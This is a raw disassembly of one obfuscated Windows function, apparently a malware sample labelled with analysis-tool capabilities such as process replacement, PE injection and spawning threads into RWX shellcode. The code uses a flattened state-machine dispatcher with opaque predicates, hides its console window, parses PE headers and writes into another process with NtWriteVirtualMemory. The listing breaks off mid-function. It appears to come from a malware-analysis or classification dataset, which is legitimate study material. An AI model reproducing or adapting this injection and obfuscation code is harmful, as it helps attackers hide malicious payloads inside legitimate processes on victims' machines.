Function at 0x100087a0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Create thread
Hide graphical window
Inject pe
Inject thread
Parse pe header
Resume thread
Spawn thread to rwx shellcode
Use process replacement

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
sub esp, 0x14c
mov eax, dword [0x10070c04]
xor eax, ebp
mov dword [ebp - 0x10], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xbd6bdad2
sub edx, 1
add edx, 0xbd6bdad2
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete cl
and cl, 1
mov byte [ebp - 0x14e], cl
cmp eax, 0xa
setl al
and al, 1
mov byte [ebp - 0x14d], al
mov dword [ebp - 0x154], 0xa70fc0b8
mov eax, dword [ebp - 0x154]
mov dword [ebp - 0x158], eax
sub eax, 0x803d7271
je 0x100103a2
jmp 0x1000881b
mov eax, dword [ebp - 0x158]
sub eax, 0x829fbc9b
je 0x1000c067
jmp 0x10008831
mov eax, dword [ebp - 0x158]
sub eax, 0x85889ece
je 0x1000ac0e
jmp 0x10008847
mov eax, dword [ebp - 0x158]
sub eax, 0x86aa19b2
je 0x1000efb9
jmp 0x1000885d
mov eax, dword [ebp - 0x158]
sub eax, 0x872bb5ee
je 0x1000bef4
jmp 0x10008873
mov eax, dword [ebp - 0x158]
sub eax, 0x893e3bec
je 0x1000ac57
jmp 0x10008889
mov eax, dword [ebp - 0x158]
sub eax, 0x896bb81c
je 0x1000b4f4
jmp 0x1000889f
mov eax, dword [ebp - 0x158]
sub eax, 0x89813bb3
je 0x1000c2a1
jmp 0x100088b5
mov eax, dword [ebp - 0x158]
sub eax, 0x8ae94429
je 0x1000b69c
jmp 0x100088cb
mov eax, dword [ebp - 0x158]
sub eax, 0x8d093490
je 0x1000f4ba
jmp 0x100088e1
mov eax, dword [ebp - 0x158]
sub eax, 0x8d824e2f
je 0x1000acdb
jmp 0x100088f7
mov eax, dword [ebp - 0x158]
sub eax, 0x8deb662d
je 0x1000e560
jmp 0x1000890d
mov eax, dword [ebp - 0x158]
sub eax, 0x8e309cbd
je 0x100106ae
jmp 0x10008923
mov eax, dword [ebp - 0x158]
sub eax, 0x8ea94a64
je 0x100107fb
jmp 0x10008939
mov eax, dword [ebp - 0x158]
sub eax, 0x8f56841b
je 0x1000c9f2
jmp 0x1000894f
mov eax, dword [ebp - 0x158]
sub eax, 0x8f66c842
je 0x1000cfbf
jmp 0x10008965
mov eax, dword [ebp - 0x158]
sub eax, 0x908138dc
je 0x100100a6
jmp 0x1000897b
mov eax, dword [ebp - 0x158]
sub eax, 0x94cca936
je 0x1000b4e5
jmp 0x10008991
mov eax, dword [ebp - 0x158]
sub eax, 0x94ecf671
je 0x1000d650
jmp 0x100089a7
mov eax, dword [ebp - 0x158]
sub eax, 0x97d78dd2
je 0x1000d7e8
jmp 0x100089bd
mov eax, dword [ebp - 0x158]
sub eax, 0x9a6326d8
je 0x1000d8a7
jmp 0x100089d3
mov eax, dword [ebp - 0x158]
sub eax, 0x9d1aafe1
je 0x1000ef70
jmp 0x100089e9
mov eax, dword [ebp - 0x158]
sub eax, 0x9d73233e
je 0x1000f772
jmp 0x100089ff
mov eax, dword [ebp - 0x158]
sub eax, 0x9e2056d8
je 0x1000a94a
jmp 0x10008a15
mov eax, dword [ebp - 0x158]
sub eax, 0x9e8a0aae
je 0x1000ddee
jmp 0x10008a2b
mov eax, dword [ebp - 0x158]
sub eax, 0xa05e53f8
je 0x1000d047
jmp 0x10008a41
mov eax, dword [ebp - 0x158]
sub eax, 0xa108b0b5
je 0x1000e28e
jmp 0x10008a57
mov eax, dword [ebp - 0x158]
sub eax, 0xa1156f31
je 0x1001034e
jmp 0x10008a6d
mov eax, dword [ebp - 0x158]
sub eax, 0xa1939dcd
je 0x1000c409
jmp 0x10008a83
mov eax, dword [ebp - 0x158]
sub eax, 0xa1faf770
je 0x10010303
jmp 0x10008a99
mov eax, dword [ebp - 0x158]
sub eax, 0xa21d9bad
je 0x1000f90f
jmp 0x10008aaf
mov eax, dword [ebp - 0x158]
sub eax, 0xa2283088
je 0x1000c14b
jmp 0x10008ac5
mov eax, dword [ebp - 0x158]
sub eax, 0xa30602c8
je 0x1000dc6e
jmp 0x10008adb
mov eax, dword [ebp - 0x158]
sub eax, 0xa30d49b3
je 0x1000d519
jmp 0x10008af1
mov eax, dword [ebp - 0x158]
sub eax, 0xa3178250
je 0x1000ee78
jmp 0x10008b07
mov eax, dword [ebp - 0x158]
sub eax, 0xa35acd71
je 0x1000e9d7
jmp 0x10008b1d
mov eax, dword [ebp - 0x158]
sub eax, 0xa5b82bfa
je 0x1000d09e
jmp 0x10008b33
mov eax, dword [ebp - 0x158]
sub eax, 0xa70b0b24
je 0x1000f128
jmp 0x10008b49
mov eax, dword [ebp - 0x158]
sub eax, 0xa70fc0b8
je 0x1000a59a
jmp 0x10008b5f
mov eax, dword [ebp - 0x158]
sub eax, 0xa712dea3
je 0x1000bacf
jmp 0x10008b75
mov eax, dword [ebp - 0x158]
sub eax, 0xa7b20d17
je 0x1000b4d6
jmp 0x10008b8b
mov eax, dword [ebp - 0x158]
sub eax, 0xa88977d7
je 0x1000d9e7
jmp 0x10008ba1
mov eax, dword [ebp - 0x158]
sub eax, 0xa894264a
je 0x1001035d
jmp 0x10008bb7
mov eax, dword [ebp - 0x158]
sub eax, 0xab18d0be
je 0x1000be61
jmp 0x10008bcd
mov eax, dword [ebp - 0x158]
sub eax, 0xab3a3091
je 0x100104bd
jmp 0x10008be3
mov eax, dword [ebp - 0x158]
sub eax, 0xab3d689d
je 0x1000ff13
jmp 0x10008bf9
mov eax, dword [ebp - 0x158]
sub eax, 0xab55aee3
je 0x1000bb54
jmp 0x10008c0f
mov eax, dword [ebp - 0x158]
sub eax, 0xabbb83c7
je 0x1000fd36
jmp 0x10008c25
mov eax, dword [ebp - 0x158]
sub eax, 0xac44ba70
je 0x1000cf5f
jmp 0x10008c3b
mov eax, dword [ebp - 0x158]
sub eax, 0xae30926f
je 0x1000dce4
jmp 0x10008c51
mov eax, dword [ebp - 0x158]
sub eax, 0xae6613a2
je 0x1001036c
jmp 0x10008c67
mov eax, dword [ebp - 0x158]
sub eax, 0xaf4576d7
je 0x1000bade
jmp 0x10008c7d
mov eax, dword [ebp - 0x158]
sub eax, 0xaff9366a
je 0x1000e209
jmp 0x10008c93
mov eax, dword [ebp - 0x158]
sub eax, 0xb131ac5e
je 0x1000d6bf
jmp 0x10008ca9
mov eax, dword [ebp - 0x158]
sub eax, 0xb2bca7c5
je 0x10010690
jmp 0x10008cbf
mov eax, dword [ebp - 0x158]
sub eax, 0xb2cdb8a4
je 0x1000f213
jmp 0x10008cd5
mov eax, dword [ebp - 0x158]
sub eax, 0xb2e0e4b7
je 0x1000d4af
jmp 0x10008ceb
mov eax, dword [ebp - 0x158]
sub eax, 0xb3ba3a89
je 0x1000fb27
jmp 0x10008d01
mov eax, dword [ebp - 0x158]
sub eax, 0xb3bc10dc
je 0x1000cfb0
jmp 0x10008d17
mov eax, dword [ebp - 0x158]
sub eax, 0xb4d63443
je 0x1000c60c
jmp 0x10008d2d
mov eax, dword [ebp - 0x158]
sub eax, 0xb54b5bdb
je 0x1000bcf7
jmp 0x10008d43
mov eax, dword [ebp - 0x158]
sub eax, 0xb61e1a4e
je 0x1000fc35
jmp 0x10008d59
mov eax, dword [ebp - 0x158]
sub eax, 0xb74730a8
je 0x1000d0ef
jmp 0x10008d6f
mov eax, dword [ebp - 0x158]
sub eax, 0xb766b495
je 0x1000aee8
jmp 0x10008d85
mov eax, dword [ebp - 0x158]
sub eax, 0xb7b022d6
je 0x1000aa98
mov al, byte [ebp - 0x14e]
mov cl, byte [ebp - 0x14d]
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x680c2db2
mov ecx, 0x75c955e9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
push eax
mov eax, esp
mov dword [ebp - 0x110], eax
push eax
mov eax, esp
mov dword [ebp - 0x10c], eax
push eax
mov eax, esp
mov dword [ebp - 0x108], eax
push eax
mov eax, esp
mov dword [ebp - 0x104], eax
push eax
mov eax, esp
mov dword [ebp - 0x100], eax
push eax
mov eax, esp
mov dword [ebp - 0xfc], eax
push eax
mov eax, esp
mov dword [ebp - 0xf8], eax
push eax
mov eax, esp
mov dword [ebp - 0xf4], eax
push eax
mov eax, esp
mov dword [ebp - 0xf0], eax
push eax
mov eax, esp
mov dword [ebp - 0xec], eax
push eax
mov eax, esp
mov dword [ebp - 0xe8], eax
push eax
mov eax, esp
mov dword [ebp - 0xe4], eax
push eax
mov eax, esp
mov dword [ebp - 0xe0], eax
push eax
mov eax, esp
mov dword [ebp - 0xdc], eax
push eax
mov eax, esp
mov dword [ebp - 0xd8], eax
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
xor ecx, ecx
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0
call dword [sym.imp.USER32.dll_ShowWindow]
lea eax, str.kernel32.dll
sub esp, 4
mov dword [esp], eax
call fcn.100019e0
add esp, 4
lea eax, [0x1001c1d1]
sub esp, 4
mov dword [esp], eax
call fcn.100019e0
add esp, 4
lea eax, section..data
sub esp, 8
mov dword [esp], eax
mov dword [esp + 4], 0x4ec00
call fcn.10001010
add esp, 8
mov eax, dword [ebp - 0x14c]
lea ecx, section..data
mov dword [eax], ecx
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov dword [eax], ecx
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x1c417401
mov ecx, 0xb7b022d6
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7fb386de
mov ecx, 0x893e3bec
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov dword [ebp - 0xcc], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0x5b1c9890
sub edx, 1
sub edx, 0x5b1c9890
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x7fb386de
mov ecx, 0x8d824e2f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x5495db93
sub edx, 1
add edx, 0x5495db93
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x4da4503c
mov ecx, 0x391c1199
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [ebp - 0xc0]
mov eax, dword [ebp - 0x144]
mov dword [eax], ecx
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax]
mov dword [ebp - 0xbc], eax
mov dword [ebp - 0x154], 0x3ac88a99
jmp 0x10010805
mov dword [ebp - 0x154], 0x94cca936
jmp 0x10010805
mov dword [ebp - 0x154], 0x896bb81c
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e8acd90
mov ecx, 0x24790089
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x140]
mov eax, dword [eax]
mov dword [ebp - 0xac], eax
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x938cf99b
sub edx, 1
add edx, 0x938cf99b
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x18d0a480
mov ecx, 0x2436c889
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0xaf4576d7
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x7a06547a
sub edx, 1
add edx, 0x7a06547a
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x6fe434b
mov ecx, 0xab55aee3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x6fe434b
mov ecx, 0x619ab2b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x168d6821
sub edx, 1
add edx, 0x168d6821
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x5b0710ad
mov ecx, 0x205ae243
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x14c]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x148]
mov eax, dword [eax]
add ecx, dword [eax + 0x3c]
add ecx, 4
add ecx, 0x14
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
movzx eax, word [eax + 0x14]
add ecx, eax
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x154], 0x546ed7a9
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xc1591591
mov ecx, 0xf1a70eb0
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [ebp - 0x98]
mov eax, dword [ebp - 0x118]
mov eax, dword [eax]
mov edx, dword [ebp - 0x114]
imul edx, dword [edx], 0x28
add eax, edx
mov edx, dword [eax + 0xc]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor edx, edx
sub edx, eax
mov eax, dword [ebp - 0x13c]
mov esi, dword [eax]
mov eax, dword [ebp - 0xa0]
mov ecx, dword [ebp - 0x9c]
xor edi, edi
sub esp, 0x14
mov dword [esp], esi
mov dword [esp + 4], edx
mov dword [esp + 8], ecx
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x7445a779
sub edx, 1
add edx, 0x7445a779
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x38d0f624
mov ecx, 0xd4dd7627
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x114]
mov eax, dword [eax]
xor ecx, ecx
sub ecx, 1
sub eax, ecx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x154], 0xe8c2abb
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x2b8f1ad
sub edx, 1
add edx, 0x2b8f1ad
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x2dc0ee47
mov ecx, 0xe4617dd7
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x108]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x144]
mov ecx, dword [ecx]
movzx ecx, word [ecx + 6]
cmp eax, ecx
setl al
and al, 1
mov byte [ebp - 0x89], al
mov dword [ebp - 0x154], 0x46222414
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfc3ce4e0
mov ecx, 0xd0c8bdc2
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x14c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
add eax, dword [ecx + 0x14]
mov dword [ebp - 0x70], eax
mov eax, dword [ebp - 0x10c]
mov eax, dword [eax]
mov ecx, dword [ebp - 0x118]
mov ecx, dword [ecx]
mov edx, dword [ebp - 0x108]
imul edx, dword [edx], 0x28
add ecx, edx
mov edx, dword [ecx + 0xc]
xor ecx, ecx
sub ecx, edx
add eax, ecx
mov dword [ebp - 0x6c], eax
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
add edx, 0x6c0d821b
sub edx, 1
sub edx, 0x6c0d821b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xfd560b5d
mov ecx, 0xd73d8332
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0xf809a64a
sub edx, 1
add edx, 0xf809a64a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7e8351af
mov ecx, 0xb3bc10dc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0xa1939dcd
jmp 0x10010805
mov eax, dword [ebp - 0x120]
mov eax, dword [eax]
mov dword [ebp - 0x64], eax
mov dword [ebp - 0x154], 0xdcdb165d
jmp 0x10010805
mov eax, dword [ebp - 0x64]
cmp eax, 0
setne al
and al, 1
mov byte [ebp - 0x5e], al
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xb3ba3a89
mov ecx, 0xa5b82bfa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x7862b088
sub edx, 1
add edx, 0x7862b088
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71d51b14
mov ecx, 0xb74730a8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
add edx, 0x4da8fa3b
sub edx, 1
sub edx, 0x4da8fa3b
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x71d51b14
mov ecx, 0xd6f7ccaa
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0x60ed8c98
jmp 0x10010805
mov ecx, dword [ebp - 0x58]
xor eax, eax
sub eax, 8
add ecx, eax
shr ecx, 1
mov eax, dword [ebp - 0xfc]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov ecx, dword [eax]
mov eax, dword [ebp - 0x144]
mov eax, dword [eax]
mov eax, dword [eax + 0x34]
sub ecx, 0x956d6cd8
sub ecx, eax
add ecx, 0x956d6cd8
mov eax, dword [ebp - 0xf8]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf4]
mov dword [eax], 0
mov dword [ebp - 0x154], 0xba8ad9b5
jmp 0x10010805
mov dl, byte [ebp - 0x51]
mov eax, 0xefe01e5c
mov ecx, 0x35148542
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0x100]
mov eax, dword [eax]
mov ecx, dword [ebp - 0xf4]
mov ecx, dword [ecx]
movzx eax, word [eax + ecx*2]
xor eax, 0xffffffff
mov edx, 0xffffffff
xor edx, 0xf000
mov ecx, 0xffffffff
xor ecx, 0x183ae719
or eax, edx
or ecx, 0x183ae719
xor eax, 0xffffffff
and eax, ecx
mov dword [ebp - 0x50], eax
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7eddcf4b
mov ecx, 0x787eb6cc
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
xor esi, esi
sub esi, 1
mov edx, ecx
add edx, esi
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x803d7271
mov ecx, 0xc9db21d9
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0xacd57f0f
sub edx, 1
add edx, 0xacd57f0f
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x7b6ab902
mov ecx, 0x529c166c
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
add edx, 0xd1c47057
sub edx, 1
sub edx, 0xd1c47057
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x6628bf3c
mov ecx, 0x1c76a50e
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0x36edb3a1
sub edx, 1
add edx, 0x36edb3a1
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xff29f17
mov ecx, 0xae30926f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0xf8]
mov edx, dword [eax]
mov eax, dword [ebp - 0xec]
mov ecx, dword [eax]
xor eax, eax
sub eax, edx
sub ecx, eax
mov eax, dword [ebp - 0xec]
mov dword [eax], ecx
mov eax, dword [ebp - 0xf0]
mov eax, dword [eax]
mov dword [ebp - 0x44], eax
mov eax, dword [ebp - 0x13c]
mov eax, dword [eax]
mov dword [ebp - 0x40], eax
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x75ac2a1a
sub edx, 1
add edx, 0x75ac2a1a
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xff29f17
mov ecx, 0x710591c4
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [ebp - 0xec]
mov ecx, dword [ebp - 0x44]
mov edx, dword [ebp - 0x40]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
sub edx, 0x9a3dec2
sub edx, 1
add edx, 0x9a3dec2
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x3c0b4c72
mov ecx, 0x4e3c2288
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov dword [ebp - 0x154], 0x7a232476
jmp 0x10010805
mov eax, dword [ebp - 0x38]
mov edx, dword [eax + 4]
mov ecx, dword [ebp - 0x3c]
xor eax, eax
sub eax, ecx
xor ecx, ecx
sub ecx, edx
add eax, ecx
xor ecx, ecx
sub ecx, eax
mov eax, dword [ebp - 0x110]
mov dword [eax], ecx
mov ecx, dword [0x10071e88]
mov eax, dword [0x10071e84]
mov edx, ecx
sub edx, 0xb1aee1dd
sub edx, 1
add edx, 0xb1aee1dd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xc5325e10
mov ecx, 0xceecec7f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x154], eax
jmp 0x10010805
mov eax, dword [0x10071e88]
mov ecx, dword [0x10071e84]
mov edx, eax
add edx, 0x828eefea
sub edx, 1
sub edx, 0x828eefea
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x358e3716
mov ecx, 0x4299a984
test dl, 1
cmovne eax, ecx
